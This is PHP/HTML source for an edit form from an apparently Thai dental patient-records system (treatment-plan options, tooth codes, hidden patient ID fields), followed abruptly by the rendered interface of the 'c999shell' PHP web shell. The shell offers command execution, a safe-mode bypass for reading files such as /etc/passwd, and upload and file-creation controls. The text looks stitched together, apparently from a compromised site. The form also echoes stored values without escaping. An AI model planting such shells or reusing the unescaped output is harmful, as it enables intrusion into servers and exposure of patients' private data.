                      <td><div align="center"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input type="radio" name="Teach12"  <?php if (!(strcmp("$rs1[Teach12]","Bridge"))){echo "checked";} ?> value="Bridge " />
                      </font></strong></font> </div></td>
                      <td><div align="left"> <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <label> </label>
                          <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">Bridge</font></strong></font> </font></strong></font></div></td>
                      <td width="27%"><div align="left"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Tooth_code12" type="text" id="Tooth_code12" value="<? echo $rs1[Tooth_code12]?>" size="2" maxlength="2" />
                      </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></span></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong></font> </div></td>
                    </tr>
                    
                    <tr>
                      <td><div align="center"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <input type="radio" name="Teach13" <?php if (!(strcmp("$rs1[Teach13]","Other TxPlan"))){echo "checked";} ?> value="Other TxPlan " />
                      </font></strong></font> </div></td>
                      <td><div align="left"> <font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <label> </label>
                          <font size="2" face="Tahoma"><strong>Other TxPlan</strong></font></font></strong> </font></div></td>
                      <td colspan="4"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                        <textarea name="Teach_13" cols="50" rows="4" class="d" id="Teach_13"><? echo $rs1[Teach_13]?></textarea>
                        </font></strong></font></td>
                    </tr>
                </table></td>
              </tr>
              <tr bgcolor="#CFE0F5">
                <td height="20" colspan="3"><div align="center"> <font size="2" face="Tahoma"><span class="style1"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                    <input type="submit" name="Submit" value="แก้ไข" />
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  <input type="reset" name="Reset" value=" ล้าง ">
                  <font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                    <input name="Person_code" type="hidden" id="Person_code" value="<? echo $rs[Person_code]?>" />
                    </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                      <input name="HN_code" type="hidden" id="HN_code" value="<? echo $rs[HN_code]?>" />
                      </font><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                        <input name="Teach_id" type="hidden" id="Teach_id" value="<? echo $rs1[Teach_id]?>" />
                      </font></strong></font></strong></font></strong></font></strong></font></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></strong></font></font></strong></font></strong></font></strong></font></strong></span></font></div></td>
              </tr>
            </table>
          </form>
        </div>
        </fieldset>
      <br />
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br />
    </font></td>
  </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"2;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0169 ]--